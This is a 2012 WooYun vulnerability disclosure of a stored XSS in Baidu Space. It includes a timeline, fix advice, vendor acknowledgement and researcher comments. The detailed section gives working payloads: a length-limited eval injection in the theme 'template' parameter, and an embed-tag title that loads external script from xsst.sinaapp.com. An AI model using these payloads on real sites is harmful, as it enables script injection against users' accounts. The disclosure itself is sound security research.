当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07571

漏洞标题:新版百度空间存储型XSS

相关厂商:百度

漏洞作者: gainover

提交时间:2012-05-27 15:03

修复时间:2012-07-11 15:04

公开时间:2012-07-11 15:04

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-27: 细节已通知厂商并且等待厂商处理中
2012-05-30: 厂商已经确认,细节仅向厂商公开
2012-06-09: 细节向核心白帽子及相关领域专家公开
2012-06-19: 细节向普通白帽子公开
2012-06-29: 细节向实习白帽子公开
2012-07-11: 细节向公众公开

简要描述:

新版的百度空间有一处没有过滤导致XSS,但是可以被利用的字段,长度限制为了20个长度,去掉两端的构造字符,只有16个长度了。还是老办法,eval(X), eval(name)的方法在利用上比较间接,不做第一考虑,我们还是优先想办法找一处可以注入ID="X"的位置,然后。。。

详细说明:

1. 漏洞出现在新版百度空间模板的选择上。
2. 缺陷地址:http://hi.baidu.com/set/submit/theme
3. 缺陷参数: template
4. 缺陷原因: 除了限制了20个长度,未做任何输入输出过滤。
5. theme在注入自定义内容后,将在空间主页以及各文章页面内以下代码处出现。

window.CurrentApplyedTpl = '{template内容}';


6. 基于此,我们可以构造恶意代码如下:

window.CurrentApplyedTpl = '';eval(XXX)//';   //XXX表示可以被控制的变量


7. XXX 可选对象
';eval(qUserInfo.spaceName)// <--29个长度,不可取
';eval(M.innerHTML)// <-- 21个长度,也不行
';eval(M.title)// <--17个长度
';eval(M.name)// <--16个长度
';eval(M.alt)// <--15个长度
';eval(M.src)// <--15个长度
8. 基于以上考虑,我们就得找一个位置,可以写入 id="M" 属性名="被eval的代码"。
但是经过测试,百度空间发表文章里的 <img> 标签无法写入 id属性。
9. 但是运气比较好的是,偶然随手测试发现<embed></embed>标签竟然可以直接使用(难道是旧版空间的残留?)
运气更不错的是,<embed></embed> 还可以写入 title 属性。(其它的 alt,name 无法写入,src需要以http://开头)
10. 因而,我们可以构造出以下利用步骤。
利用步骤:
A. POST http://hi.baidu.com/set/submit/theme
POSTDATA
template=';eval(M.title)//&bdstoken={my token}&qing_request_source=
B. 随便发表一篇文章。 POST的content内容修改为以下:
POST http://hi.baidu.com/pub/submit/modifytext
POSTDATA (content以外的参数省略)
content=encodeURIComponent(<div><p><embed src="http://www.toolmao.com" id="M" title="(function(){var s=document.createElement('script');s.src='http://xsst.sinaapp.com/m.js';document.body.appendChild(s)})()"</p></div>)
C. 那么此文章就成了一个可以用来跨站的页面了。
效果见漏洞证明!

漏洞证明:

测试平台: Win7 + Chrome, IE
Chrome下的效果


IE 下的效果


修复方案:

1. http://hi.baidu.com/set/submit/theme 过滤template的内容
2. http://hi.baidu.com/pub/submit/modifytext 新版空间还用的到embed标签不?就算用的到,也可以和img一样,把id给过滤掉。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-05-30 17:18

厂商回复:

感谢提交,正在修复中

最新状态:

暂无


漏洞评价:

评论

  1. 2012-05-28 12:21 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    新产品必有漏洞

  2. 2012-05-28 15:11 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @水滴 对的 :) 就是冲着这句话去的~~

  3. 2012-05-28 18:40 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    @gainover 可惜没有新版邀请码

  4. 2012-05-28 19:30 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @水滴 = = 新版还要邀请码? 我好像就是直接提示升级的。。

  5. 2012-05-29 22:53 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    我嘞个去。太给力了。

  6. 2012-05-29 23:45 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @zeracker 二...师兄~~ 最近猪肉涨价了~~

  7. 2012-05-29 23:48 | zeracker 认证白帽子 ( 核心白帽子 | Rank:1068 漏洞数:137 | 多乌云、多机会!微信公众号: id:a301zls ...)

    @gainover 176 57kg 。没钱买肉了。

  8. 2012-05-29 23:54 | gainover 认证白帽子 ( 核心白帽子 | Rank:1710 漏洞数:93 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

    @zeracker 我了个去。。你平均下来比我还瘦。。

  9. 2012-06-19 19:32 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    提醒:级别足够但是无法查看 Rank 高于自己的白帽子漏洞 太坑了

  10. 2012-07-11 19:43 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    好!

  11. 2012-07-11 20:42 | 水滴 ( 普通白帽子 | Rank:146 漏洞数:24 )

    妙!